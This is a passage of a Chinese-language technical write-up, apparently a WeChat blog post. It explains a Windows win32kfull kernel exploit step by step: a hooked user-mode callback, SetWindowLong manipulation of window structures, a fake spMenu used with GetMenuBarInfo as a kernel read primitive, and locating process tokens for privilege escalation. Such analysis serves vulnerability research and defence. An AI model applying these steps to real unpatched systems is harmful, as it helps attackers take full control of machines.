src="https://wechat2rss.xlab.app/img-proxy/?k=67ff3358&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2F3pMKYkVJQD510oY0lsmQcHNYTpTfHeCfIQcNpb9bOeJ9QCR1nOyOa3WOGERkDRjJasbVJGRBFhMKyKXJ5ZxFkQ%2F640%3Fwx_fmt%3Dpng"/></figure><p data-tool="mdnice编辑器" style="padding-top: 8px;padding-bottom: 8px;line-height: 26px;">win32kfull基址为 ffff964b90600000</p><figure data-tool="mdnice编辑器" style="margin-top: 10px;margin-bottom: 10px;display: flex;flex-direction: column;justify-content: center;align-items: center;"><img data-ratio="0.27035175879396983" style="display: block;margin-right: auto;margin-left: auto;" data-type="png" data-w="995" src="https://wechat2rss.xlab.app/img-proxy/?k=f6f9ae8c&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2F3pMKYkVJQD510oY0lsmQcHNYTpTfHeCfHt1SXnPXrrRVpDvUWSN19f7YkxuwACucxVBfFicHNbGpJUCWJ9Bl4XQ%2F640%3Fwx_fmt%3Dpng"/></figure><p data-tool="mdnice编辑器" style="padding-top: 8px;padding-bottom: 8px;line-height: 26px;">ffff964b90600000 + 0x33A020 = ffff964b9093a020</p><figure data-tool="mdnice编辑器" style="margin-top: 10px;margin-bottom: 10px;display: flex;flex-direction: column;justify-content: center;align-items: center;"><img class="rich_pages wxw-img" data-ratio="0.6619859578736209" style="display: block;margin-right: auto;margin-left: auto;" data-type="png" data-w="997" src="https://wechat2rss.xlab.app/img-proxy/?k=750c50e8&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2F3pMKYkVJQD510oY0lsmQcHNYTpTfHeCf9rXahqkE9MQka2Ogib81rjuYicSOl0mz8Lc5cqialJibOEXl8rnfVYPjfA%2F640%3Fwx_fmt%3Dpng"/></figure><p data-tool="mdnice编辑器" style="padding-top: 8px;padding-bottom: 8px;line-height: 26px;">通过之前栈回溯的那张图，可以知道，我们需要的函数正好是xxxWrapSwitchWndProc，所以此函数在mpFnidPfn中索引为0x6，那么在NtUserfnINLPCREATESTRUCT中，索引的计算公式为(dwType+6) &amp; 0x1F ，所以dwType为0xE0时，得到的索引刚好为0x6，如果dwType为0，最后的计算出的索引也为0x6。</p><figure data-tool="mdnice编辑器" style="margin-top: 10px;margin-bottom: 10px;display: flex;flex-direction: column;justify-content: center;align-items: center;"><img data-ratio="0.07257304429783223" style="display: block;margin-right: auto;margin-left: auto;" data-type="png" data-w="1061" src="https://wechat2rss.xlab.app/img-proxy/?k=a09c9888&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2F3pMKYkVJQD510oY0lsmQcHNYTpTfHeCfSPYKfPHmmubp3hr23F641578n1RaPnVAUyEllMJiakOXupsudI3WW7A%2F640%3Fwx_fmt%3Dpng"/></figure><p data-tool="mdnice编辑器" style="padding-top: 8px;padding-bottom: 8px;line-height: 26px;">win32kfull!xxxWrapSwitchWndProc</p><figure data-tool="mdnice编辑器" style="margin-top: 10px;margin-bottom: 10px;display: flex;flex-direction: column;justify-content: center;align-items: center;"><img data-ratio="0.3715415019762846" style="display: block;margin-right: auto;margin-left: auto;" data-type="png" data-w="759" src="https://wechat2rss.xlab.app/img-proxy/?k=44ff8214&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2F3pMKYkVJQD510oY0lsmQcHNYTpTfHeCfsFEibrTkahJB17UvFbVxDib04dswmRogyG8bAPicZm7kPEvVjHcYckr2g%2F640%3Fwx_fmt%3Dpng"/></figure><p data-tool="mdnice编辑器" style="padding-top: 8px;padding-bottom: 8px;line-height: 26px;">这里要注意的一个点是，在win32kfull!xxxSwitchWndProc函数中，tagWNDk+0xFC 处会被赋值，调试时可知这里赋的值为0x10，后续在调用SetWindowLong系列函数时会用到这个值。</p><p data-tool="mdnice编辑器" style="padding-top: 8px;padding-bottom: 8px;line-height: 26px;">win32kfull!xxxSwitchWndProc</p><figure data-tool="mdnice编辑器" style="margin-top: 10px;margin-bottom: 10px;display: flex;flex-direction: column;justify-content: center;align-items: center;"><img class="rich_pages wxw-img" data-ratio="0.5513338722716249" style="display: block;margin-right: auto;margin-left: auto;" data-type="png" data-w="1237" src="https://wechat2rss.xlab.app/img-proxy/?k=ce8876fd&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2F3pMKYkVJQD510oY0lsmQcHNYTpTfHeCf9b1cLVqnMfhnHSDbBhSMXmib0byhNdWfRqm7dV1AmEUBGhSXIykXK0g%2F640%3Fwx_fmt%3Dpng"/></figure><p data-tool="mdnice编辑器" style="padding-top: 8px;padding-bottom: 8px;line-height: 26px;">可以看到最终在win32kfull!xxxSwitchWndProc中调用了xxxClientAllocWindowClassExtraBytes，之后就会通过Nt!KeUserModeCallback进入我们在用户层的HOOK函数。</p><p data-tool="mdnice编辑器" style="padding-top: 8px;padding-bottom: 8px;line-height: 26px;">调用NtUserMessageCall之前 tagWNDk3中的关键值</p><figure data-tool="mdnice编辑器" style="margin-top: 10px;margin-bottom: 10px;display: flex;flex-direction: column;justify-content: center;align-items: center;"><img class="rich_pages wxw-img" data-ratio="0.5031446540880503" style="display: block;margin-right: auto;margin-left: auto;" data-type="png" data-w="795" src="https://wechat2rss.xlab.app/img-proxy/?k=00c60df7&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2F3pMKYkVJQD510oY0lsmQcHNYTpTfHeCfwC2UyzdfxLFOibWXGIAd4dhRaes0pzsaR5L5BuYvbIsgWnATxUM0jiaw%2F640%3Fwx_fmt%3Dpng"/></figure><p data-tool="mdnice编辑器" style="padding-top: 8px;padding-bottom: 8px;line-height: 26px;">调用NtUserMessageCall后，执行了用户层被HOOK的回调函数，实现对dwExtraFlag和pExtraBytes的修改。</p><figure data-tool="mdnice编辑器" style="margin-top: 10px;margin-bottom: 10px;display: flex;flex-direction: column;justify-content: center;align-items: center;"><img class="rich_pages wxw-img" data-ratio="0.1559748427672956" style="display: block;margin-right: auto;margin-left: auto;" data-type="png" data-w="795" src="https://wechat2rss.xlab.app/img-proxy/?k=0ab6660c&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2F3pMKYkVJQD510oY0lsmQcHNYTpTfHeCfYCEIG221DqBv6fWibAg9m35ukWI6iaBhKz3aMFQqPUzHK0ZoMdgNVYVA%2F640%3Fwx_fmt%3Dpng"/></figure><p data-tool="mdnice编辑器" style="padding-top: 8px;padding-bottom: 8px;line-height: 26px;">此时，窗口1、2、3的tagWNDk结构体如下</p><figure data-tool="mdnice编辑器" style="margin-top: 10px;margin-bottom: 10px;display: flex;flex-direction: column;justify-content: center;align-items: center;"><img class="rich_pages wxw-img" data-ratio="0.5363408521303258" style="display: block;margin-right: auto;margin-left: auto;" data-type="png" data-w="798" src="https://wechat2rss.xlab.app/img-proxy/?k=b2e10972&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2F3pMKYkVJQD510oY0lsmQcHNYTpTfHeCfVic7Wudeh1bec630WD9ZmJWDCXOr4ADG6SH4aJHf4Tua5AQPecoDpLQ%2F640%3Fwx_fmt%3Dpng"/></figure><p data-tool="mdnice编辑器" style="padding-top: 8px;padding-bottom: 8px;line-height: 26px;"><strong>到这里，基本实现了我们想要的内存布局，如下图所示</strong></p><figure data-tool="mdnice编辑器" style="margin-top: 10px;margin-bottom: 10px;display: flex;flex-direction: column;justify-content: center;align-items: center;"><img class="rich_pages wxw-img" data-ratio="0.5574626865671641" style="display: block;margin-right: auto;margin-left: auto;" data-type="png" data-w="1340" src="https://wechat2rss.xlab.app/img-proxy/?k=81b96ca0&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2F3pMKYkVJQD510oY0lsmQcHNYTpTfHeCfVxWmLK2DIDicxL39GvBMs6fmTLwomgk8ufialzp2qicjEvJl9RoR4w9FA%2F640%3Fwx_fmt%3Dpng"/></figure><p data-tool="mdnice编辑器" style="padding-top: 8px;padding-bottom: 8px;line-height: 26px;">接下来就要利用SetWindowLong系列函数和已构造好的内存布局来创建读写原语。</p><figure data-tool="mdnice编辑器" style="margin-top: 10px;margin-bottom: 10px;display: flex;flex-direction: column;justify-content: center;align-items: center;"><img class="rich_pages wxw-img" data-ratio="0.18885741265344666" style="display: block;margin-right: auto;margin-left: auto;" data-type="png" data-w="1059" src="https://wechat2rss.xlab.app/img-proxy/?k=75a32434&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2F3pMKYkVJQD510oY0lsmQcHNYTpTfHeCfBzssz8TTOTvSQEYwiabM2VTRN6WLSf9ib22z7czRX2KKJDxiau7VF91iaw%2F640%3Fwx_fmt%3Dpng"/></figure><p data-tool="mdnice编辑器" style="padding-top: 8px;padding-bottom: 8px;line-height: 26px;">在win32kfull!xxxSetWindowLong中，先判断参数2，也就是索引值，当索引值+0x4小于tagWNDk.cbWndExtra时，才会继续向后执行，操作扩展内存。</p><p data-tool="mdnice编辑器" style="padding-top: 8px;padding-bottom: 8px;line-height: 26px;">win32kfull!xxxSetWindowLong</p><figure data-tool="mdnice编辑器" style="margin-top: 10px;margin-bottom: 10px;display: flex;flex-direction: column;justify-content: center;align-items: center;"><img class="rich_pages wxw-img" data-ratio="0.6915032679738562" style="display: block;margin-right: auto;margin-left: auto;" data-type="png" data-w="765" src="https://wechat2rss.xlab.app/img-proxy/?k=649696be&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2F3pMKYkVJQD510oY0lsmQcHNYTpTfHeCfgabpYVB2wZheA4jpqPUscvWDjwYJZHkY92MJb3rJ69qkC81CPYxOOQ%2F640%3Fwx_fmt%3Dpng"/></figure><p data-tool="mdnice编辑器" style="padding-top: 8px;padding-bottom: 8px;line-height: 26px;">其次会判断tagWNDk.dwExtraFlag &amp; 0x800的值，如果为0，寻址方式为 内核桌面堆基址+pExtraBytes+nIndex，否则为 pExtraBytes+nIndex。同时从下图可以看到，参数nIndex，在被用于索引扩展内存前，先执行了nIndex-(tagWNDk+0xFC) 的运算，而窗口3的tagWNDk+0xFC在xxxSwitchWndProc函数内被赋值为0x10，所以在调用SetWindowLong时，如果传入的参数1为窗口3的句柄，则参数2，nIndex需要先加0x10，才能保证在后续索引扩展内存时精确找到相关结构体。</p><figure data-tool="mdnice编辑器" style="margin-top: 10px;margin-bottom: 10px;display: flex;flex-direction: column;justify-content: center;align-items: center;"><img class="rich_pages wxw-img" data-ratio="0.23076923076923078" style="display: block;margin-right: auto;margin-left: auto;" data-type="png" data-w="910" src="https://wechat2rss.xlab.app/img-proxy/?k=622fdcf9&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2F3pMKYkVJQD510oY0lsmQcHNYTpTfHeCfPI4DzNWHJGMPRSsH8tvwYbpS0QgayjZMJcvga7tZuQyxyCj0pWaHicg%2F640%3Fwx_fmt%3Dpng"/></figure><p data-tool="mdnice编辑器" style="padding-top: 8px;padding-bottom: 8px;line-height: 26px;">tagWNDk+0xFC处的值</p><figure data-tool="mdnice编辑器" style="margin-top: 10px;margin-bottom: 10px;display: flex;flex-direction: column;justify-content: center;align-items: center;"><img data-ratio="0.07375" style="display: block;margin-right: auto;margin-left: auto;" data-type="png" data-w="800" src="https://wechat2rss.xlab.app/img-proxy/?k=65fffb34&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2F3pMKYkVJQD510oY0lsmQcHNYTpTfHeCfImzksW5nfqvQ02tzQXy9VC3UnX1TjEn5dWJLOWyKD1ibVz8EbSKZO2w%2F640%3Fwx_fmt%3Dpng"/></figure><p data-tool="mdnice编辑器" style="padding-top: 8px;padding-bottom: 8px;line-height: 26px;">调用SetWindowLong时，Windbg调试结果：</p><p data-tool="mdnice编辑器" style="padding-top: 8px;padding-bottom: 8px;line-height: 26px;">第一次调用SetWindowLongW，由于此时tagWNDk3.pExtraBytes为tagWNDk1的内核桌面堆基址偏移，所以执行完成后，实际将tagWNDk1.pExtraBytes修改为tagWNDk1的内核桌面堆基址偏移，同时返回tagWNDk1.pExtraBytes的原始值。</p><figure data-tool="mdnice编辑器" style="margin-top: 10px;margin-bottom: 10px;display: flex;flex-direction: column;justify-content: center;align-items: center;"><img class="rich_pages wxw-img" data-ratio="0.5937106918238994" style="display: block;margin-right: auto;margin-left: auto;" data-type="png" data-w="795" src="https://wechat2rss.xlab.app/img-proxy/?k=ec47f503&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2F3pMKYkVJQD510oY0lsmQcHNYTpTfHeCfpGciaiajgQtW0QEc5x5HvKI2G1mAreiaBCgdEU54pMnrRZF8pEXhn4U7g%2F640%3Fwx_fmt%3Dpng"/></figure><p data-tool="mdnice编辑器" style="padding-top: 8px;padding-bottom: 8px;line-height: 26px;">第二次调用SetWindowLongW，将tagWNDk1.cbWndExtra改为0xFFFFFFF，因为后续我们需要利用nIndex来实现越界写，从而构造相对地址写原语，所以这里将cbWndExtra改为0xFFFFFFF，来绕过对nIndex大小的判断。</p><figure data-tool="mdnice编辑器" style="margin-top: 10px;margin-bottom: 10px;display: flex;flex-direction: column;justify-content: center;align-items: center;"><img class="rich_pages wxw-img" data-ratio="0.5300751879699248" style="display: block;margin-right: auto;margin-left: auto;" data-type="png" data-w="798" src="https://wechat2rss.xlab.app/img-proxy/?k=3cc9dde4&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2F3pMKYkVJQD510oY0lsmQcHNYTpTfHeCf07qw6QpbnuqVzfpOKS7iaslARTg3cibhSIoYubzpP6XcgXteMrfKeaTA%2F640%3Fwx_fmt%3Dpng"/></figure><p data-tool="mdnice编辑器" style="padding-top: 8px;padding-bottom: 8px;line-height: 26px;">第三次调用SetWindowLongPtrA，修改tagWNDk2.dwStyle的值，使其具有WS_CHILD属性</p><figure data-tool="mdnice编辑器" style="margin-top: 10px;margin-bottom: 10px;display: flex;flex-direction: column;justify-content: center;align-items: center;"><img class="rich_pages wxw-img" data-ratio="0.1329987452948557" style="display: block;margin-right: auto;margin-left: auto;" data-type="png" data-w="797" src="https://wechat2rss.xlab.app/img-proxy/?k=e752b5d8&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2F3pMKYkVJQD510oY0lsmQcHNYTpTfHeCfgHO970HFZpribFWOa8UXOP01AyhqIWuMK9XIEribNgVffg9GDUlzpLicg%2F640%3Fwx_fmt%3Dpng"/></figure><p data-tool="mdnice编辑器" style="padding-top: 8px;padding-bottom: 8px;line-height: 26px;">调用完成后，此时的tagWNDk2.dwStyle已经具有WS_CHILD属性。</p><figure data-tool="mdnice编辑器" style="margin-top: 10px;margin-bottom: 10px;display: flex;flex-direction: column;justify-content: center;align-items: center;"><img class="rich_pages wxw-img" data-ratio="0.07644110275689223" style="display: block;margin-right: auto;margin-left: auto;" data-type="png" data-w="798" src="https://wechat2rss.xlab.app/img-proxy/?k=3df87076&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2F3pMKYkVJQD510oY0lsmQcHNYTpTfHeCferpYouicYibNxicVyX9tWLdje28ic5WSAnJYibuuO1ic2YQ6ukb5biaOdC7pQ%2F640%3Fwx_fmt%3Dpng"/></figure><p data-tool="mdnice编辑器" style="padding-top: 8px;padding-bottom: 8px;line-height: 26px;">第四次调用SetWindowLongPtrA，目的是为了替换tagWND中的spMenu为我们申请的0xA0大小的堆空间的地址，也就是fakeSpMenu。如果nIndex为-12时，在xxxSetWindowData中会先判断tagWNDk.dwStyle是否具有WS_CHILE属性，然后才会重新设置tagWNDk+0x98和tagWND+0xA8的值，所以这也是为什么第三次调用SetWindowLongPtrA时，要重新设置tagWNDk2.dwStyle的值</p><p data-tool="mdnice编辑器" style="padding-top: 8px;padding-bottom: 8px;line-height: 26px;">win32kfull!xxxSetWindowData</p><figure data-tool="mdnice编辑器" style="margin-top: 10px;margin-bottom: 10px;display: flex;flex-direction: column;justify-content: center;align-items: center;"><img data-ratio="0.21173469387755103" style="display: block;margin-right: auto;margin-left: auto;" data-type="png" data-w="784" src="https://wechat2rss.xlab.app/img-proxy/?k=b4680289&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2F3pMKYkVJQD510oY0lsmQcHNYTpTfHeCfficEqwqRvNQH7IBPgIs8T2CibiaSrBtia0ka3z6Jn6jCfvZGQicpjJe2YPw%2F640%3Fwx_fmt%3Dpng"/></figure><p data-tool="mdnice编辑器" style="padding-top: 8px;padding-bottom: 8px;line-height: 26px;">Windbg调试结果</p><figure data-tool="mdnice编辑器" style="margin-top: 10px;margin-bottom: 10px;display: flex;flex-direction: column;justify-content: center;align-items: center;"><img class="rich_pages wxw-img" data-ratio="0.244640605296343" style="display: block;margin-right: auto;margin-left: auto;" data-type="png" data-w="793" src="https://wechat2rss.xlab.app/img-proxy/?k=82a0bdee&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2F3pMKYkVJQD510oY0lsmQcHNYTpTfHeCflt7vBWFpEUOKhPRD49pqcG4z4fplpvibtUIwc2cicicXm4A2ZxVmomtGw%2F640%3Fwx_fmt%3Dpng"/></figure><p data-tool="mdnice编辑器" style="padding-top: 8px;padding-bottom: 8px;line-height: 26px;">原始spMenu地址</p><figure data-tool="mdnice编辑器" style="margin-top: 10px;margin-bottom: 10px;display: flex;flex-direction: column;justify-content: center;align-items: center;"><img class="rich_pages wxw-img" data-ratio="0.07653701380175659" style="display: block;margin-right: auto;margin-left: auto;" data-type="png" data-w="797" src="https://wechat2rss.xlab.app/img-proxy/?k=74aba7fc&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2F3pMKYkVJQD510oY0lsmQcHNYTpTfHeCfABXv0rpyicrP4pKhA9vZa3icjjMtNmSlz4epHl0HmbF9W21WNp9aWwicg%2F640%3Fwx_fmt%3Dpng"/></figure><p data-tool="mdnice编辑器" style="padding-top: 8px;padding-bottom: 8px;line-height: 26px;">第五次调用SetWindowLongPtrA，目的是将Max窗口的dwStyle改回原来的属性，因为接下来会调用封装好的MyRead64函数来实现任意地址读，MyRead64函数中会调用GetMenuBarInfo，配合前面填充的fakespMenu，实现任意地址读。GetMenuBarInfo函数最终会调用xxxGetMenuBarInfo，xxxGetMenuBarInfo中会再次检查WS_CHILD，所以这里需要将WS_CHILD改为不具有WS_CHILD的属性。</p><p data-tool="mdnice编辑器" style="padding-top: 8px;padding-bottom: 8px;line-height: 26px;">win32kfull!xxxGetMenuBarInfo</p><figure data-tool="mdnice编辑器" style="margin-top: 10px;margin-bottom: 10px;display: flex;flex-direction: column;justify-content: center;align-items: center;"><img class="rich_pages wxw-img" data-ratio="0.0662739322533137" style="display: block;margin-right: auto;margin-left: auto;" data-type="png" data-w="679" src="https://wechat2rss.xlab.app/img-proxy/?k=23874bd8&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2F3pMKYkVJQD510oY0lsmQcHNYTpTfHeCfIVOOZSlUUg498Spfdea8f4DxEibBcPmfX1SeB7d5SdJQibcK2aqBcBNw%2F640%3Fwx_fmt%3Dpng"/></figure><p data-tool="mdnice编辑器" style="padding-top: 8px;padding-bottom: 8px;line-height: 26px;">Windbg结果</p><figure data-tool="mdnice编辑器" style="margin-top: 10px;margin-bottom: 10px;display: flex;flex-direction: column;justify-content: center;align-items: center;"><img class="rich_pages wxw-img" data-ratio="0.21831869510664995" style="display: block;margin-right: auto;margin-left: auto;" data-type="png" data-w="797" src="https://wechat2rss.xlab.app/img-proxy/?k=add14e71&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2F3pMKYkVJQD510oY0lsmQcHNYTpTfHeCfOUnqqJbZ2rkBWZhtiaX3fFtG4VDia9MPTia4z7Cv1rqM0xfB65Furic1zQ%2F640%3Fwx_fmt%3Dpng"/></figure><p data-tool="mdnice编辑器" style="padding-top: 8px;padding-bottom: 8px;line-height: 26px;">上面执行过5次SetWindowLong系列函数后，此时已经将窗口2的spMenu替换为fakeSpMenu，并且也获得了原始的spMenu地址。</p><p data-tool="mdnice编辑器" style="padding-top: 8px;padding-bottom: 8px;line-height: 26px;">接下来利用封装好的读原语和泄露的spMenu地址进行内核内存读取，取得SYSTEM进程和EXP进程的TOKEN地址。</p><figure data-tool="mdnice编辑器" style="margin-top: 10px;margin-bottom: 10px;display: flex;flex-direction: column;justify-content: center;align-items: center;"><img class="rich_pages wxw-img" data-ratio="0.2961832061068702" style="display: block;margin-right: auto;margin-left: auto;" data-type="png" data-w="655" src="https://wechat2rss.xlab.app/img-proxy/?k=be2eef72&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2F3pMKYkVJQD510oY0lsmQcHNYTpTfHeCfbsIvicOwbt0udKqZZalJbHicgicAAn2YNZqqDb7zJqPyAxGV4f2cqdYSA%2F640%3Fwx_fmt%3Dpng"/></figure><p data-tool="mdnice编辑器" style="padding-top: 8px;padding-bottom: 8px;line-height: 26px;">MyRead64读原语，在此函数中，实际是利用GetMenuBarInfo函数，和构造好的spMenu实现内核任意地址读。</p><figure data-tool="mdnice编辑器" style="margin-top: 10px;margin-bottom: 10px;display: flex;flex-direction: column;justify-content: center;align-items: center;"><img class="rich_pages wxw-img" data-ratio="0.6408045977011494" style="display: block;margin-right: auto;margin-left: auto;" data-type="png" data-w="696" src="https://wechat2rss.xlab.app/img-proxy/?k=40e2cd62&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2F3pMKYkVJQD510oY0lsmQcHNYTpTfHeCf80okJ9rrB6Nu7tTficU8CcqR1FTJENic7m0858xYswG5HiaDPuMmxKesQ%2F640%3Fwx_fmt%3Dpng"/></figure><p data-tool="mdnice编辑器" style="padding-top: 8px;padding-bottom: 8px;line-height: 26px;">GetMenuBarInfo最后会调用到内核中的xxxGetMenuBarInfo，并且会进行多次校验，判断spMenu中相关偏移的值，然后从*(QWORD *)(rgItems)处取得要读取的内核地址，最后从此地址加0x40处开始，取0x10个字节。</p><p data-tool="mdnice编辑器" style="padding-top: 8px;padding-bottom: 8px;line-height: 26px;">win32kfull!xxxGetMenuBarInfo</p><figure data-tool="mdnice编辑器" style="margin-top: 10px;margin-bottom: 10px;display: flex;flex-direction: column;justify-content: center;align-items: center;"><img class="rich_pages wxw-img" data-ratio="0.47551020408163264" style="display: block;margin-right: auto;margin-left: auto;" data-type="png" data-w="980" src="https://wechat2rss.xlab.app/img-proxy/?k=a9f7df28&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2F3pMKYkVJQD510oY0lsmQcHNYTpTfHeCfcWMTqegNmz9FLGKZAAVCzhBJ5icS8NAXbXwPvUKHGa60W6QK7icj3a2g%2F640%3Fwx_fmt%3Dpng"/></figure><p data-tool="mdnice编辑器" style="padding-top: 8px;padding-bottom: 8px;line-height: 26px;">构造的能通过xxxGetMenuBarInfo校验的fakeSpMenu</p><figure data-tool="mdnice编辑器" style="margin-top: 10px;margin-bottom: 10px;display: flex;flex-direction: column;justify-content: center;align-items: center;"><img class="rich_pages wxw-img" data-ratio="0.3316519546027743" style="display: block;margin-right: auto;margin-left: auto;" data-type="png" data-w="793" src="https://wechat2rss.xlab.app/img-proxy/?k=347ed753&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2F3pMKYkVJQD510oY0lsmQcHNYTpTfHeCf1wArZ7Lm53rXRwfXr25iaP28lArTiaVee2xS3Zk1BT50ONkRmmxaSFBg%2F640%3Fwx_fmt%3Dpng"/></figure><p data-tool="mdnice编辑器" style="padding-top: 8px;padding-bottom: 8px;line-height: 26px;">*(SpmenuK) == pSelf</p><figure data-tool="mdnice编辑器" style="margin-top: 10px;margin-bottom: 10px;display: flex;flex-direction: column;justify-content: center;align-items: center;"><img data-ratio="0.07731305449936629" style="display: block;margin-right: auto;margin-left: auto;" data-type="png" data-w="789" src="https://wechat2rss.xlab.app/img-proxy/?k=72a2b00d&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2F3pMKYkVJQD510oY0lsmQcHNYTpTfHeCfrlpLDG4RtAt3cy4ZAYuyfrl7wJdApPH79V6AMQ5SJ7MWy8F6GVjrIg%2F640%3Fwx_fmt%3Dpng"/></figure><p data-tool="mdnice编辑器" style="padding-top: 8px;padding-bottom: 8px;line-height: 26px;">pSelf</p><figure data-tool="mdnice编辑器" style="margin-top: 10px;margin-bottom: 10px;display: flex;flex-direction: column;justify-content: center;align-items: center;"><img data-ratio="0.23375" style="display: block;margin-right: auto;margin-left: auto;" data-type="png" data-w="800" src="https://wechat2rss.xlab.app/img-proxy/?k=54c92a4d&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2F3pMKYkVJQD510oY0lsmQcHNYTpTfHeCfHibKsdIxLfpLzibDP3MvqoUwfsRDeLiaYteNNXCfn9AjBiaibdVhnyjpoxQ%2F640%3Fwx_fmt%3Dpng"/></figure><p data-tool="mdnice编辑器" style="padding-top: 8px;padding-bottom: 8px;line-height: 26px;">(pSelf+0x28) == cItems</p><figure data-tool="mdnice编辑器" style="margin-top: 10px;margin-bottom: 10px;display: flex;flex-direction: column;justify-content: center;align-items: center;"><img class="rich_pages wxw-img" data-ratio="0.07061790668348046" style="display: block;margin-right: auto;margin-left: auto;" data-type="png" data-w="793" src="https://wechat2rss.xlab.app/img-proxy/?k=5d89e85e&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2F3pMKYkVJQD510oY0lsmQcHNYTpTfHeCfkA0DzHUGLG5ficWI4PZtgUhFMuBTNwJ7EnUhwKSUhW5N7VWQOphsfkA%2F640%3Fwx_fmt%3Dpng"/></figure><p data-tool="mdnice编辑器" style="padding-top: 8px;padding-bottom: 8px;line-height: 26px;">*(rgItems)</p><figure data-tool="mdnice编辑器" style="margin-top: 10px;margin-bottom: 10px;display: flex;flex-direction: column;justify-content: center;align-items: center;"><img class="rich_pages wxw-img" data-ratio="0.14754098360655737" style="display: block;margin-right: auto;margin-left: auto;" data-type="png" data-w="793" src="https://wechat2rss.xlab.app/img-proxy/?k=1a4f2fb3&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2F3pMKYkVJQD510oY0lsmQcHNYTpTfHeCfSibGm97BVHZeibjkcELepFGh30QsrYJfzqenhRiaMibC3D6dnj173tBGoQ%2F640%3Fwx_fmt%3Dpng"/></figure><p data-tool="mdnice编辑器" style="padding-top: 8px;padding-bottom: 8px;line-height: 26px;">MyRead64中，这行负责填充想要读取的内核地址</p><figure data-tool="mdnice编辑器" style="margin-top: 10px;margin-bottom: 10px;display: flex;flex-direction: column;justify-content: center;align-items: center;"><img class="rich_pages wxw-img" data-ratio="0.13504823151125403" style="display: block;margin-right: auto;margin-left: auto;" data-type="png" data-w="622" src="https://wechat2rss.xlab.app/img-proxy/?k=a81fe6b0&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2F3pMKYkVJQD510oY0lsmQcHNYTpTfHeCfn5kB9fSicLz7WTWrvsbxuJ26P5ewKtlick2IAQlmUVwmuy7YBaTVTgCQ%2F640%3Fwx_fmt%3Dpng"/></figure><p data-tool="mdnice编辑器" style="padding-top: 8px;padding-bottom: 8px;line-height: 26px;">调用6次MyRead64后的结果</p><figure data-tool="mdnice编辑器" style="margin-top: 10px;margin-bottom: 10px;display: flex;flex-direction: column;justify-content: center;align-items: center;"><img class="rich_pages wxw-img" data-ratio="0.7259414225941423" style="display: block;margin-right: auto;margin-left: auto;" data-type="png" data-w="1434" src="https://wechat2rss.xlab.app/img-proxy/?k=525b28fa&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2F3pMKYkVJQD510oY0lsmQcHNYTpTfHeCfZRlA2IiblqkN1V89rLWu844Jbodn1IT9MTcMGKicMXbSP5GECy53Zibog%2F640%3Fwx_fmt%3Dpng"/></figure><p data-tool="mdnice编辑器" style="padding-top: 8px;padding-bottom: 8px;line-height: 26px;">经过6次Read，取的EXP进程的EPROCESS地址。</p><p data-tool="mdnice编辑器" style="padding-top: 8px;padding-bottom: 8px;line-height: 26px;">此时开始遍历EPROCESS链表，找到SYSTEM进程的EPROCESS结构地址，接着分别获得EXP进程和SYSTEM进程的TOKEN地址</p><figure data-tool="mdnice编辑器" style="margin-top: 10px;margin-bottom: 10px;display: flex;flex-direction: column;justify-content: center;align-items: center;"><img class="rich_pages wxw-img" data-ratio="0.22005842259006816" style="display: block;margin-right: auto;margin-left: auto;" data-type="png" data-w="1027" src="https://wechat2rss.xlab.app/img-proxy/?k=88f98dad&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2F3pMKYkVJQD510oY0lsmQcHNYTpTfHeCfzIDoAzwb1R0PWyDK6a2avic9GMhnhLeGiaGziarobyLxj0WRXm79sFQPQ%2F640%3Fwx_fmt%3Dpng"/></figure><p data-tool="mdnice编辑器" style="padding-top: 8px;padding-bottom: 8px;line-height: 26px;">Windbg结果如下</p><figure data-tool="mdnice编辑器" style="margin-top: 10px;margin-bottom: 10px;display: flex;flex-direction: column;justify-content: center;align-items: center;"><img class="rich_pages wxw-img" data-ratio="0.53625" style="display: block;margin-right: auto;margin-left: auto;" data-type="png" data-w="800" 